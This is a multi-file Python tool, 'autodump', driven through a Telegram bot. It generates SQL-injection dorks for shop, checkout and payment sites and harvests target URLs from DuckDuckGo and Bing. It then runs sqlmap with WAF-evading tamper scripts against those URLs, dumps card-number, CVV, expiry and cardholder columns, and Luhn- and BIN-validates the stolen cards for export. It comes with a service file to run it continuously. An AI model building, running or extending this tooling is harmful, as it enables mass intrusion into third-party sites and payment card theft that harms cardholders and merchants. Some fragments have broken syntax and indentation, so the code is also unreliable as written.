    """sqlmap_out se jitne injectable mile – /kill ke baad kaam aata hai."""
    from modules.sqli import SQLiScanner
    found = SQLiScanner.collect_injectables(RAW / "sqlmap_out")
    if found:
        (RAW / "injectable.txt").write_text("\\n".join(sorted(found)))
        LOG.info(f"[bot] partial injectables: {len(found)}")
    return len(found)

async def send_sqli_results(update, killed):
    if killed:
        n = extract_partial_injectables()
        if n:
            await send_file(update, RAW / "injectable.txt",
                f"[STOP] roka gaya – {n} partial injectables [v]\\n"
                "dump ke liye forward kar do")
        else:
            await post(update,
                "[STOP] roka gaya – abhi tak koi injectable nahi mila.")
    else:
        await send_file(update, RAW / "injectable.txt",
            "injectable.txt [OK] – dump ke liye forward kar do")

async def send_output_files(update, fmt_label, partial=False):

```

```

base = FINAL / CFG["output"]["base_name"]
if fmt_label == "[file] .txt":
    files = [base.with_suffix(".txt")]
elif fmt_label == "[stats] .csv":
    files = [base.with_suffix(".csv")]
elif fmt_label == "[bill] .json":
    files = [base.with_suffix(".json")]
else:
    files = [base.with_suffix(".txt"), base.with_suffix(".csv"),
            base.with_suffix(".json")]
tag = " [STOP] partial" if partial else " [OK]"
for f in files:
    await send_file(update, f, f"{f.name}{tag}")

```

— text pending actions (keywords / auto) —————

```

async def handle_pending(update, p, text):
    chat = update.effective_chat.id
    action = p["action"]

    if action == "kw":
        base = text.split()[0]
        count = p["count"]
        from modules.keywords import KeywordGen
        kws = KeywordGen(CFG, LOG).generate(base, count)
        (RAW / "keywords.txt").write_text("\n".join(kws))
        await send_file(update, RAW / "keywords.txt",
                        f"keywords.txt – {len(kws)} [OK]\n"
                        "dorks ke liye forward kar do")
        return await goto(update, "kw")

    if action == "kw_custom":
        parts = text.split()
        base = parts[0]
        count = int(parts[1]) if len(parts) > 1 else 1000
        from modules.keywords import KeywordGen
        kws = KeywordGen(CFG, LOG).generate(base, count)
        (RAW / "keywords.txt").write_text("\n".join(kws))
        await send_file(update, RAW / "keywords.txt",
                        f"keywords.txt – {len(kws)} [OK]\n"
                        "dorks ke liye forward kar do")
        return await goto(update, "kw")

    if action == "dump_custom":
        parts = text.strip().split()
        return await post(update,
                        f"custom dump `{parts}` – use sqlmap manually.", ui.DUMP)

    if action == "auto_domain":
        target = text.strip()
        await goto(update, "main", f"[go] running full pipeline on `{target}`...")
        rc, killed = await run_stage_live(update, f"[go] full: {target}",
                                          pipeline("all", target), "main",
                                          stage="all")
        return

    if action == "auto_dorks":
        base = text.strip()
        from modules.keywords import KeywordGen
        from modules.dorks import DorkGen
        from modules.parser import URLParser
        kws = KeywordGen(CFG, LOG).generate(base, 100)
        (RAW / "keywords.txt").write_text("\n".join(kws))
        await send_file(update, RAW / "keywords.txt", "keywords.txt [OK]")
        DorkGen(CFG, LOG).hq_sql(kws)
        await send_file(update, RAW / "dorks_sql.txt", "dorks_sql.txt [OK]")
        begin_stage("parse", "parse", "auto parse")

```

```

p2 = URLParser(CFG, LOG)
urls = p2.parse_dorks_file(str(RAW / "dorks_sqli.txt"), "both")
p2.extract_param_urls(urls)
auto_killed = finish_stage()
await send_file(update, RAW / "targets.txt",
                "targets.txt" + (" [STOP] partial" if auto_killed else " [OK]"))

if auto_killed:
    return await goto(update, "main")
await post(update, f"[net] {len(urls)} urls pulled. scanning...", ui.AUTO)
rc, killed = await run_stage_live(update, "[sqli] sqlmap scan",
                                   pipeline("sqli",
                                             file=RAW / "targets.txt",
                                             None, stage="sqli",
                                             progress_re=SQLI_RE)
await send_sqli_results(update, killed)
if killed:
    return await goto(update, "main")
rc, killed = await run_stage_live(update, "[box] db dump",
                                   pipeline("dump",
                                             file=RAW / "injectable.txt",
                                             "main", stage="dump")
await send_dump_results(update, partial=killed)
return

if action == "auto_urls":
    lines = [l.strip() for l in text.splitlines() if l.strip()]
    (RAW / "targets.txt").write_text("\n".join(lines))
    rc, killed = await run_stage_live(update, "[sqli] scan from url list",
                                       pipeline("sqli",
                                               file=RAW / "targets.txt",
                                               None, stage="sqli",
                                               progress_re=SQLI_RE)
    await send_sqli_results(update, killed)
    return await goto(update, "main")

# — status —————
async def show_status(update):
    rows = ["[stats] *status*"]
    for f in ["subs.txt", "live.txt", "targets.txt", "injectable.txt",
             "keywords.txt", "parsed.csv", "validated.csv", "final.csv"]:
        p = RAW / f
        if p.exists():
            rows.append(f"[OK] `{f}` — {len(p.read_text(errors='ignore').splitlines()))}")
        else:
            rows.append(f"[X] `{f}`")
    await post(update, "\n".join(rows), ui.STATUS)

async def show_full_status(update):
    lines = ["[chart] *full report*"]
    for f in sorted(RAW.glob("*")):
        if f.is_file():
            lines.append(f"`{f.name}` — {len(f.read_text(errors='ignore').splitlines()))")
    lines.append("\n*final:*")
    for f in sorted(FINAL.glob("*")):
        if f.is_file():
            lines.append(f"`{f.name}` — {f.stat().st_size} B")
    await post(update, "\n".join(lines), ui.STATUS)

async def do_fetch(update, label):
    base = FINAL / CFG["output"]["base_name"]
    if label == "[box] Send All":
        files = [f for f in FINAL.iterdir() if f.is_file()]
    else:
        ext = label.split(".")[1]

```

```

        files = [base.with_suffix("." + ext)]
    sent = 0
    for f in files:
        if await send_file(update, f):
            sent += 1
    await post(update, f"[in] sent {sent} file(s).", ui.FETCH)

HELP_TEXT = {
    "[key] Keywords": "[key] *keywords* – pick count, send base word -> keywords.txt",
    "[target] Dorks": "[target] *dorks* – keywords file bhejo -> dork files",
    "[net] Parser": "[net] *parser* – dork file bhejo -> urls.txt + targets.txt",
    "[sqli] SQLi": "[sqli] *sqli* – targets file bhejo -> injectable.txt",
    "[box] Dump": "[box] *dump* – injectable file bhejo -> dump csv",
    "[OK] Validate": "[OK] *validate* – parsed.csv bhejo -> validated.csv",
    "[clean] Dedupe": "[clean] *dedupe* – validated.csv bhejo -> final.csv",
    "[out] Output": "[out] *output* – final.csv bhejo -> final.txt/.csv/.json",
}

# — main —————
def main():
    # NOTE: 30s timeouts for slow egress proxy – required in this environment
    # NOTE: concurrent_updates=True taaki /kill jaise commands
    #       lambe stages (parse/sqli/dump) ke dauraan bhi chalen
    app = (
        Application.builder()
        .token(CFG["telegram"]["token"])
        .request(HTTPXRequest(connect_timeout=30, read_timeout=30,
                               write_timeout=30, pool_timeout=30))
        .concurrent_updates(True)
        .build()
    )
    app.add_handler(CommandHandler("start", cmd_start))
    app.add_handler(CommandHandler("kill", cmd_kill))
    app.add_handler(MessageHandler(filters.Document.ALL & ~filters.COMMAND,
                                    on_doc))
    app.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, on_text))
    print("autodump ui v5 running – file-driven pipeline, file in -> file out.")
    app.run_polling()

if __name__ == "__main__":
    main()

```

python

```
#!/usr/bin/env python3
"""
autodump – automated recon -> sqli -> dump -> parse -> validate -> dedupe -> output pipeline.
Entry point. Orchestrates all modules.
"""

import argparse
import sys
from pathlib import Path

from modules.recon import Recon
from modules.sqli import SQLiScanner
from modules.dumper import Dumper
from modules.extractor import Extractor
from modules.validator import Validator
from modules.deduper import Deduper
from modules.output import OutputWriter
from modules.notifier import Notifier
from modules.utils import load_config, setup_logger, ensure_dirs

def parse_args():
    p = argparse.ArgumentParser(prog="autodump", description="automated dump pipeline")
    p.add_argument("-c", "--config", default="config.yaml", help="config path")
    p.add_argument("-t", "--target", help="single target domain")
    p.add_argument("-f", "--file", help="file with target list")
    p.add_argument("--stage", choices=["all", "recon", "sqli", "dump",
                                      "parse", "validate", "dedupe", "output"],
                  default="all")
    p.add_argument("--skip-recon", action="store_true")
    return p.parse_args()

def main():
    args = parse_args()
    cfg = load_config(args.config)
    logger = setup_logger(cfg["logging"]["level"], cfg["logging"]["file"])
    ensure_dirs(cfg["paths"])

    targets = []
    if args.target:
        targets.append(args.target)
    if args.file:
        targets.extend(Path(args.file).read_text().splitlines())
    targets = [t.strip() for t in targets if t.strip()]

    if not targets:
        logger.error("no targets provided")
        sys.exit(1)

    logger.info(f"loaded {len(targets)} targets")

    stage = args.stage

    if stage in ("all", "recon") and not args.skip_recon:
        Recon(cfg, logger).run(targets)

    if stage in ("all", "sqli"):
        SQLiScanner(cfg, logger).run()

    if stage in ("all", "dump"):
        Dumper(cfg, logger).run()
```

```
if stage in ("all", "parse"):
    Extractor(cfg, logger).run()

if stage in ("all", "validate"):
    Validator(cfg, logger).run()

if stage in ("all", "dedupe"):
    Deduper(cfg, logger).run()

if stage in ("all", "output"):
    OutputWriter(cfg, logger).run()

Notifier(cfg, logger).send("*pipeline complete*")
logger.info("pipeline complete")

if __name__ == "__main__":
    main()
```

config.yaml

yaml

```
paths:
  data: ./data
  dumps: ./data/dumps
  raw: ./data/raw
  final: ./data/final
  logs: ./logs

logging:
  level: INFO
  file: ./logs/autodump.log

telegram:
  enabled: true
  token: "<YOUR_BOT_TOKEN>"
  allowed_chat_ids:
    - <YOUR_CHAT_ID>          # <-- your chat id, add more as list
  notify_stages: true # send a message at each stage completion

recon:
  subfinder: true
  httpx: true
  katana: true
  katana_depth: 3
  threads: 10
  timeout: 10

sqli:
  sqlmap_bin: /home/hatch/workspace/bin/sqlmap
  level: 2
  risk: 1
  threads: 10
  technique: BEUSTQ
  random_agent: true
  tamper: "space2comment,between,randomcase"
  delay: 0
  batch: true

dump:
  target_db: target_db
  card_tables_regex: "(card|cc|credit|payment|billing|checkout|order|transaction|user)"
  dump_columns:
    - card_number
    - cvv
    - exp_month
    - exp_year
    - cardholder_name
    - address

extract:
  extensions: [".csv", ".txt", ".sql", ".log"]

validate:
  min_length: 13
  max_length: 19
  luhn: true
  bin_check: true

dedupe:
  bin_report: true

output:
  formats: [txt, csv, json]
```

```
base_name: output
```

requirements.txt

text

```
pyyaml>=6.0
requests>=2.31.0
python-telegram-bot>=21.0
tqdm>=4.66.0
colorama>=0.4.6
ddgs>=6.0.0
beautifulsoup4>=4.12.0
lxml>=5.0.0
```

autocc-bot.service

ini

```
[Unit]
Description=Auto Dump telegram bot
After=network-online.target
Wants=network-online.target

[Service]
Type=simple
User=root
WorkingDirectory=/home/hatch/workspace/autocc
Environment=no_proxy=localhost,127.0.0.1
Environment=NO_PROXY=localhost,127.0.0.1
Environment=http_proxy=http://hatch-egress-proxy:3128
Environment=https_proxy=http://hatch-egress-proxy:3128
Environment=HTTP_PROXY=http://hatch-egress-proxy:3128
Environment=HTTPS_PROXY=http://hatch-egress-proxy:3128
Environment=ALL_PROXY=http://hatch-egress-proxy:3128
Environment=all_proxy=http://hatch-egress-proxy:3128
ExecStart=/home/hatch/workspace/autocc/.venv/bin/python -u bot.py
Restart=always
RestartSec=10
KillMode=control-group
TimeoutStopSec=20
StandardOutput=append:/home/hatch/workspace/autocc/logs/bot.log
StandardError=append:/home/hatch/workspace/autocc/logs/bot.log

[Install]
WantedBy=default.target
```

install-service.sh

bash

```
#!/bin/bash
# install / reinstall the autocc-bot systemd service
set -e
UNIT_SRC="/home/hatch/workspace/autocc/autocc-bot.service"
UNIT_DST="/etc/systemd/system/autocc-bot.service"
cp "$UNIT_SRC" "$UNIT_DST"
systemctl daemon-reload
systemctl enable autocc-bot.service
systemctl restart autocc-bot.service
echo "autocc-bot installed and started"
systemctl is-active autocc-bot.service
```

`modules/__init__.py`

python

```
"""autodump modules package."""  
__version__ = "1.0.0"
```

python

```

"""shared utilities – config, logger, dir setup, shell helper."""
import logging
import subprocess
import sys
from pathlib import Path
import yaml

def load_config(path: str) -> dict:
    with open(path) as f:
        return yaml.safe_load(f)

def setup_logger(level: str, log_file: str) -> logging.Logger:
    Path(log_file).parent.mkdir(parents=True, exist_ok=True)
    logger = logging.getLogger("autodump")
    logger.setLevel(getattr(logging, level.upper()))
    if logger.handlers:
        return logger

    fmt = logging.Formatter("%(asctime)s] [%(levelname)s] %(message)s",
                            "%Y-%m-%d %H:%M:%S")

    ch = logging.StreamHandler(sys.stdout)
    ch.setFormatter(fmt)
    logger.addHandler(ch)

    fh = logging.FileHandler(log_file)
    fh.setFormatter(fmt)
    logger.addHandler(fh)

    return logger

def ensure_dirs(paths: dict):
    for k, v in paths.items():
        Path(v).mkdir(parents=True, exist_ok=True)

def run(cmd: list, logger=None, capture=True, timeout=None):
    """run shell command, return (rc, stdout, stderr)."""
    if logger:
        logger.debug(f"exec: {' '.join(cmd)}")
    try:
        result = subprocess.run(
            cmd,
            capture_output=capture,
            text=True,
            timeout=timeout,
        )
        return result.returncode, result.stdout, result.stderr
    except FileNotFoundError as e:
        if logger:
            logger.error(f"binary not found: {cmd[0]} – {e}")
        return 127, "", str(e)
    except subprocess.TimeoutExpired:
        if logger:
            logger.error(f"timeout: {cmd[0]}")
        return 124, "", "timeout"

def which(binary: str) -> bool:

```

```
from shutil import which as _which
return _which(binary) is not None
```

python

```
"""reply-keyboard menus only. no inline menus. chat = pure output."""
from telegram import ReplyKeyboardMarkup, KeyboardButton
```

```
def _kb(rows):
    """rows: list of lists of strings"""
    return ReplyKeyboardMarkup(
        [[KeyboardButton(t) for t in row] for row in rows],
        resize_keyboard=True,
        one_time_keyboard=False,
    )
```

```
# ——— MAIN ———
MAIN = _kb([
    ["[key] Generate Keywords", "[target] Generate Dorks"],
    ["[net] Parse Dorks -> URLs", "[sqli] SQLi Scanner"],
    ["[box] DB Dump", "[file] Validate"],
    ["[clean] Dedupe", "[out] Output Files"],
    ["[go] Full Auto Pipeline", "[stats] Status"],
    ["[in] Fetch Results", "[tool] Help"],
])
```

```
# ——— SUBMENUS ———
KW = _kb([
    ["[key] 100", "[key] 500", "[key] 1000"],
    ["[key] 5000", "[key] 10000", "[edit] Custom Base"],
    ["[<] Back"],
])
```

```
DORK = _kb([
    ["[net] Generic Dorks", "[sqli] SQLi Dorks"],
    ["[dir] File Dorks", "[part] CMS Dorks"],
    ["[web] Country Dorks", "[*] ALL Dorks Pro"],
    ["[<] Back"],
])
```

```
PARSE = _kb([
    ["[duck] DDGS only", "[*] Bing only"],
    ["[fast] DDGS + Bing", "[dir] Pick Dork File"],
    ["[<] Back"],
])
```

```
SQLI = _kb([
    ["[go] Scan targets.txt"],
    ["[setup] Level 1", "[setup] Level 2", "[setup] Level 3"],
    ["[mask] Tamper: ON", "[scan] UA: ON"],
    ["[<] Back"],
])
```

```
DUMP = _kb([
    ["[box] Dump target_db.cards"],
    ["[list] List DBs", "[files] List Tables"],
    ["[stats] Custom Table"],
    ["[<] Back"],
])
```

```
VALIDATE = _kb([
    ["[OK] Run Validate"],
    ["[<] Back"],
])
```

```

DEDUPE = _kb([
    ["[clean] Run Dedupe"],
    ["[<] Back"],
])

OUTPUT = _kb([
    ["[file] .txt", "[stats] .csv", "[bill] .json"],
    ["[box] All Formats"],
    ["[<] Back"],
])

AUTO = _kb([
    ["[target] From Domain", "[net] From Dorks"],
    ["[link] From URL List"],
    ["[<] Back"],
])

STATUS = _kb([
    ["[reload] Refresh", "[chart] Full Report"],
    ["[<] Back"],
])

FETCH = _kb([
    ["[file] output.txt", "[stats] output.csv"],
    ["[bill] output.json", "[box] Send All"],
    ["[<] Back"],
])

HELP = _kb([
    ["[key] Keywords", "[target] Dorks"],
    ["[net] Parser", "[sqli] SQLi"],
    ["[box] Dump", "[OK] Validate"],
    ["[clean] Dedupe", "[out] Output"],
    ["[<] Back"],
])

# progress bar helper (used in chat only)
def bar(pct, width=18):
    filled = int(width * pct / 100)
    return "█" * filled + "░" * (width - filled) + f" {pct}%"

# — SCREEN TEXT (sent as chat msg, one-time header) —————
HEADER_MAIN = (
    "[worm] *What Can Auto Dump Do?*\n\n"
    "[1st] GEN KEYWORDS    ⇔ keyword sets\n"
    "[2nd] GEN DORKS       ⇔ multi-category dorks\n"
    "[3rd] DEEP PARSER     ⇔ DDGS + Bing\n"
    "[*] DORKS PRO         ⇔ HQ SQLi templates\n"
    "[sqli] SQLI SCANNER   ⇔ sqlmap\n"
    "[build] DORKS ⇔ DUMP   ⇔ full chain\n"
    "[link] URLS ⇔ DUMP     ⇔ direct url -> dump\n"
    "[STOP] /kill          ⇔ roko + jitna hua utna bhejo\n\n"
    "[v] pick from keyboard below"
)

HEADER_KW      = "[key] *keywords* – pick a count from keyboard"
HEADER_DORK    = "[target] *dorks* – pick a category"
HEADER_PARSE   = "[net] *parser* – pick engine"
HEADER_SQLI    = "[sqli] *sqli* – pick mode"
HEADER_DUMP    = "[box] *dump* – pick action"
HEADER_VALIDATE = "[file] *validate* – tap below"
HEADER_DEDUPE  = "[clean] *dedupe* – tap below"
HEADER_OUTPUT  = "[out] *output* – pick format"
HEADER_AUTO    = "[go] *auto* – pick input source"

```

```
HEADER_STATUS = "[stats] *status*"
HEADER_FETCH  = "[in] *fetch* - pick file"
HEADER_HELP   = "[tool] *help* - pick a topic"
```

```
# — screen registry —————
# maps a screen key -> (header_text, keyboard)
SCREENS = {
    "main":      (HEADER_MAIN,      MAIN),
    "kw":        (HEADER_KW,        KW),
    "dork":      (HEADER_DORK,      DORK),
    "parse":     (HEADER_PARSE,     PARSE),
    "sqli":      (HEADER_SQLI,      SQLI),
    "dump":      (HEADER_DUMP,      DUMP),
    "validate":  (HEADER_VALIDATE,  VALIDATE),
    "dedupe":    (HEADER_DEDUPE,    DEDUPE),
    "output":    (HEADER_OUTPUT,    OUTPUT),
    "auto":      (HEADER_AUTO,      AUTO),
    "status":    (HEADER_STATUS,    STATUS),
    "fetch":     (HEADER_FETCH,     FETCH),
    "help":      (HEADER_HELP,      HELP),
}
```

```
def get_screen(key):
    return SCREENS.get(key, SCREENS["main"])
```

python

```

"""keyword generator – build seed keyword lists for dorking."""
import itertools
import random
from pathlib import Path

NICHES = [
    "shop", "cart", "checkout", "payment", "billing",
    "login", "admin", "portal", "member", "account",
    "store", "buy", "order", "invoice", "receipt",
]

MODIFIERS = ["", "online", "pro", "beta", "dev", "test", "old", "new"]

TLDS = [".com", ".net", ".org", ".io", ".co", ".shop", ".store"]

SEPARATORS = ["-", "", "_", "."]

class KeywordGen:
    def __init__(self, cfg, logger):
        self.cfg = cfg
        self.log = logger
        self.raw = Path(cfg["paths"]["raw"])

    def generate(self, base: str, count: int = 1000) -> list:
        out = set()
        for niche, mod, tld, sep in itertools.product(NICHES, MODIFIERS, TLDS, SEPARATORS):
            kw = f"{base}{sep}{niche}"
            if mod:
                kw += f"{sep}{mod}"
            kw += tld
            out.add(kw)
            if len(out) >= count:
                break
        result = sorted(out)[:count]
        (self.raw / "keywords.txt").write_text("\n".join(result))
        self.log.info(f"[keywords] {len(result)} -> keywords.txt")
        return result

```

python

```

"""dork generator – all variants: generic, HQ, CMS, country, file, SQLi."""
import random
from pathlib import Path

FILE_TYPES = ["sql", "env", "bak", "log", "txt", "csv", "xml", "json", "zip", "gz"]
CMS_LIST = ["wordpress", "joomla", "drupal", "magento", "prestashop",
            "opencart", "woocommerce", "shopify", "laravel", "django"]
COUNTRIES = ["in", "us", "uk", "ru", "br", "id", "tr", "pk", "bd", "ng"]

GENERIC_TEMPLATES = [
    'inurl:{kw}',
    'intitle:{kw}',
    'intext:{kw}',
    'site:{tld} inurl:{kw}',
    'inurl:{kw} ext:php',
    'inurl:{kw} ext:asp',
    'inurl:{kw} ext:aspx',
    'inurl:{kw} ext:jsp',
]

SQLI_TEMPLATES = [
    'inurl:{kw}.php?id=',
    'inurl:{kw}.asp?id=',
    'inurl:{kw}.aspx?id=',
    'inurl:{kw}.jsp?id=',
    'inurl:{kw}.php?cat=',
    'inurl:{kw}.php?product=',
    'inurl:{kw}.php?page=',
    'inurl:{kw}.php?item=',
]

FILE_TEMPLATES = [
    'site:{tld} ext:{ft}',
    'site:{tld} inurl:{kw} ext:{ft}',
    'site:{tld} intitle:index.of ext:{ft}',
]

CMS_TEMPLATES = [
    'inurl:{kw} "wp-content"',
    'inurl:{kw} "wp-includes"',
    'inurl:{kw} "components/com_"',
    'inurl:{kw} "sites/default/files"',
    'inurl:{kw} "skin/frontend"',
    'inurl:{kw} "modules/"',
]

COUNTRY_TEMPLATES = [
    'inurl:{kw} site:{tld}',
    'inurl:{kw}.php?id= site:{tld}',
    'site:{tld} inurl:{kw}',
]

class DorkGen:
    def __init__(self, cfg, logger):
        self.cfg = cfg
        self.log = logger
        self.raw = Path(cfg["paths"]["raw"])

    def _write(self, name, items):
        p = self.raw / name

```

```

p.write_text("\n".join(sorted(set(items))))
self.log.info(f"[dorks] {len(items)} -> {name}")

def generic(self, keywords: list):
    out = []
    for kw in keywords:
        for t in GENERIC_TEMPLATES:
            out.append(t.format(kw=kw, tld=random.choice(
                ["com", "net", "org", "io"])))
    self._write("dorks_generic.txt", out)

def hq_sqli(self, keywords: list):
    out = []
    for kw in keywords:
        for t in SQLI_TEMPLATES:
            out.append(t.format(kw=kw))
    self._write("dorks_sqli.txt", out)

def files(self):
    out = []
    for tld in ["com", "net", "org", "io", "in"]:
        for ft in FILE_TYPES:
            for t in FILE_TEMPLATES:
                out.append(t.format(tld=tld, ft=ft, kw=ft))
    self._write("dorks_files.txt", out)

def cms(self, keywords: list):
    out = []
    for kw in keywords:
        for t in CMS_TEMPLATES:
            out.append(t.format(kw=kw))
    self._write("dorks_cms.txt", out)

def country(self, keywords: list):
    out = []
    for kw in keywords:
        for cc in COUNTRIES:
            for t in COUNTRY_TEMPLATES:
                out.append(t.format(kw=kw, tld=cc))
    self._write("dorks_country.txt", out)

def all(self, keywords: list):
    self.generic(keywords)
    self.hq_sqli(keywords)
    self.files()
    self.cms(keywords)
    self.country(keywords)

```

python

```

"""dual-engine search parser — pull URLs from DDGS + Bing."""
from pathlib import Path
import time

try:
    from ddgs import DDGS
except ImportError:
    try:
        from duckduckgo_search import DDGS
    except ImportError:
        DDGS = None

import requests
from bs4 import BeautifulSoup

class URLParser:
    def __init__(self, cfg, logger):
        self.cfg = cfg
        self.log = logger
        self.raw = Path(cfg["paths"]["raw"])
        self.ua = ("Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
                   "AppleWebKit/537.36 (KHTML, like Gecko) "
                   "Chrome/120.0 Safari/537.36")

    def parse_ddgs(self, dork: str, max_results: int = 50) -> list:
        if DDGS is None:
            self.log.warning("[parser] ddgs not installed")
            return []
        urls = []
        try:
            with DDGS() as ddgs:
                for r in ddgs.text(dork, max_results=max_results):
                    href = r.get("href") or r.get("url")
                    if href:
                        urls.append(href)
        except Exception as e:
            self.log.warning(f"[parser] ddgs error: {e}")
        return urls

    def parse_bing(self, dork: str, pages: int = 3) -> list:
        urls = []
        for page in range(pages):
            first = page * 10 + 1
            try:
                r = requests.get(
                    "https://www.bing.com/search",
                    params={"q": dork, "first": first},
                    headers={"User-Agent": self.ua},
                    timeout=15,
                )
                soup = BeautifulSoup(r.text, "html.parser")
                for a in soup.select("li.b_algo h2 a"):
                    href = a.get("href")
                    if href and href.startswith("http"):
                        urls.append(href)
            except Exception as e:
                self.log.warning(f"[parser] bing error page {page}: {e}")
            time.sleep(1)
        return urls

    def parse_dorks_file(self, dorks_file: str, engine: str = "both",

```

```

        per_dork: int = 30) -> list:
dorks = [l.strip() for l in Path(dorks_file).read_text().splitlines()
        if l.strip()]
self.log.info(f"[parser] {len(dorks)} dorks via {engine}")

kill_file = self.raw / ".kill"
out = self.raw / "urls.txt"
all_urls = set()
try:
    for i, dork in enumerate(dorks, 1):
        if kill_file.exists():
            kill_file.unlink(missing_ok=True)
            self.log.warning(
                f"[parser] /kill at {i}/{len(dorks)} - partial flush")
            break
        if engine in ("ddgs", "both"):
            all_urls.update(self.parse_ddgs(dork, per_dork))
        if engine in ("bing", "both"):
            all_urls.update(self.parse_bing(dork, pages=2))
        if i % 10 == 0:
            self.log.info(f"[parser] progress {i}/{len(dorks)} "
                          f"urls={len(all_urls)}")
        if i % 50 == 0:
            # partial save - /kill ke baad jitna hua utna milega
            out.write_text("\n".join(sorted(all_urls)))
    finally:
        out.write_text("\n".join(sorted(all_urls)))
self.log.info(f"[parser] {len(all_urls)} urls -> {out}")
return list(all_urls)

def extract_param_urls(self, urls: list) -> list:
    params = [u for u in urls if "?" in u and "=" in u]
    out = self.raw / "targets.txt"
    out.write_text("\n".join(sorted(set(params))))
    self.log.info(f"[parser] {len(params)} param urls -> targets.txt")
    return params

```

python

```

"""Stage 1 – reconnaissance. subdomain enum, live host check, crawl, param discovery."""
from pathlib import Path
import re
from modules.utils import run, which
from modules.notifier import Notifier

class Recon:
    def __init__(self, cfg, logger):
        self.cfg = cfg
        self.log = logger
        self.raw = Path(cfg["paths"]["raw"])
        self.rc = cfg["recon"]

    def run(self, targets: list):
        self.log.info(f"[recon] starting for {len(targets)} targets")
        all_subs = set()
        for t in targets:
            subs = self._subfinder(t)
            all_subs.update(subs)

        subs_file = self.raw / "subs.txt"
        subs_file.write_text("\n".join(sorted(all_subs)))
        self.log.info(f"[recon] {len(all_subs)} subdomains -> {subs_file}")

        live = self._httpx(subs_file)
        live_file = self.raw / "live.txt"
        live_file.write_text("\n".join(live))
        self.log.info(f"[recon] {len(live)} live hosts -> {live_file}")

        urls = self._katana(live_file)
        urls_file = self.raw / "urls.txt"
        urls_file.write_text("\n".join(urls))

        targets_file = self.raw / "targets.txt"
        params = self._extract_params(urls)
        targets_file.write_text("\n".join(params))
        self.log.info(f"[recon] {len(params)} param'd urls -> {targets_file}")

        Notifier(self.cfg, self.log).send(
            f"*[recon done]*\nsubs: {len(all_subs)}\nlive: {len(live)}\ntargets: {len(params)}",
            stage="recon"
        )

    def _subfinder(self, domain: str) -> list:
        if not which("subfinder"):
            self.log.warning("[recon] subfinder not found, skipping")
            return []
        rc, out, err = run(["subfinder", "-d", domain, "-silent"],
                           logger=self.log)
        if rc != 0:
            self.log.warning(f"[recon] subfinder failed for {domain}")
            return []
        return [l.strip() for l in out.splitlines() if l.strip()]

    def _httpx(self, subs_file: Path) -> list:
        if not which("httpx"):
            self.log.warning("[recon] httpx not found, using subs as-is")
            return subs_file.read_text().splitlines()
        rc, out, err = run(
            ["httpx", "-l", str(subs_file), "-silent", "-no-color"],
            logger=self.log,

```

```

    )
    if rc != 0:
        return []
    return [l.strip() for l in out.splitlines() if l.strip()]

def _katana(self, live_file: Path) -> list:
    if not which("katana"):
        self.log.warning("[recon] katana not found, skipping crawl")
        return []
    rc, out, err = run(
        ["katana", "-list", str(live_file),
         "-d", str(self.rc["katana_depth"]),
         "-jc", "-kf", "all", "-silent"],
        logger=self.log,
    )
    if rc != 0:
        return []
    return [l.strip() for l in out.splitlines() if l.strip()]

def _extract_params(self, urls: list) -> list:
    seen = set()
    out = []
    for u in urls:
        if "?" not in u:
            continue
        if u in seen:
            continue
        seen.add(u)
        out.append(u)
    return out

```

python

```

"""Stage 2 – sqli scan. wraps sqlmap against target list (batched)."""
import subprocess
import time
from pathlib import Path
from modules.utils import which
from modules.notifier import Notifier

BATCH = 50 # targets per sqlmap run – progress + /kill granularity

class SQLiScanner:
    def __init__(self, cfg, logger):
        self.cfg = cfg
        self.log = logger
        self.raw = Path(cfg["paths"]["raw"])
        self.rc = cfg["sqli"]

    @staticmethod
    def collect_injectables(out_dir: Path) -> set:
        """scan sqlmap output dir for injectable urls (works on partial runs)."""
        injectables = set()
        if not out_dir.exists():
            return injectables
        for f in out_dir.rglob("*"):
            if not f.is_file():
                continue
            try:
                txt = f.read_text(errors="ignore")
            except Exception:
                continue
            for line in txt.splitlines():
                if "Parameter:" in line and "http" in line:
                    for token in line.split():
                        if token.startswith("http"):
                            injectables.add(token)
        return injectables

    def _base_cmd(self, out_dir: Path):
        cmd = [
            self.rc["sqlmap_bin"],
            "--batch",
            f"--level={self.rc['level']}",
            f"--risk={self.rc['risk']}",
            f"--threads={self.rc['threads']}",
            f"--technique={self.rc['technique']}",
            f"--tamper={self.rc['tamper']}",
            f"--output-dir={out_dir}",
            "--flush-session",
        ]
        if self.rc.get("random_agent"):
            cmd.append("--random-agent")
        if self.rc.get("delay"):
            cmd.append(f"--delay={self.rc['delay']}")
        return cmd

    def run(self):
        targets_file = self.raw / "targets.txt"
        if not targets_file.exists():
            self.log.error("[sqli] no targets.txt – run recon first")
            return

        if not which(self.rc["sqlmap_bin"]):

```

```

        self.log.error(f"[sqli] {self.rc['sqlmap_bin']} not found in PATH")
        return

    targets = [t.strip() for t in targets_file.read_text().splitlines()
                if t.strip()]
    if not targets:
        self.log.error("[sqli] targets.txt is empty")
        return

    out_dir = self.raw / "sqlmap_out"
    out_dir.mkdir(exist_ok=True)
    kill_file = self.raw / ".kill"
    batch_file = self.raw / ".sqli_batch.txt"
    sqlmap_log = self.raw / "sqlmap_progress.log"

    total = len(targets)
    self.log.info(f"[sqli] scanning {total} targets, {BATCH}/batch")

    for start in range(0, total, BATCH):
        if kill_file.exists():
            kill_file.unlink(missing_ok=True)
            self.log.warning(
                f"[sqli] /kill at {start}/{total} - partial results")
            break
        chunk = targets[start:start + BATCH]
        batch_file.write_text("\n".join(chunk))
        cmd = self._base_cmd(out_dir) + ["-m", str(batch_file)]
        self.log.info(
            f"[sqli] batch {start + 1}-{start + len(chunk)}/{total}")
        try:
            with open(sqlmap_log, "w") as lf:
                proc = subprocess.Popen(
                    cmd, stdout=lf, stderr=subprocess.STDOUT, text=True)
                while proc.poll() is None:
                    if kill_file.exists():
                        self.log.warning("[sqli] /kill - stopping sqlmap")
                        proc.terminate()
                        try:
                            proc.wait(timeout=15)
                        except subprocess.TimeoutExpired:
                            proc.kill()
                        break
                    time.sleep(1)
            except Exception as e:
                self.log.error(f"[sqli] batch failed: {e}")
            done = min(start + BATCH, total)
            n_inj = len(self.collect_injectables(out_dir))
            self.log.info(
                f"[sqli] progress {done}/{total} injectables={n_inj}")

    batch_file.unlink(missing_ok=True)
    found = self.collect_injectables(out_dir)
    (self.raw / "injectable.txt").write_text("\n".join(sorted(found)))
    self.log.info(f"[sqli] done - {len(found)} injectables -> injectable.txt")

    Notifier(self.cfg, self.log).send(
        f"*[sqli done]*\ninjectables: {len(found)}",
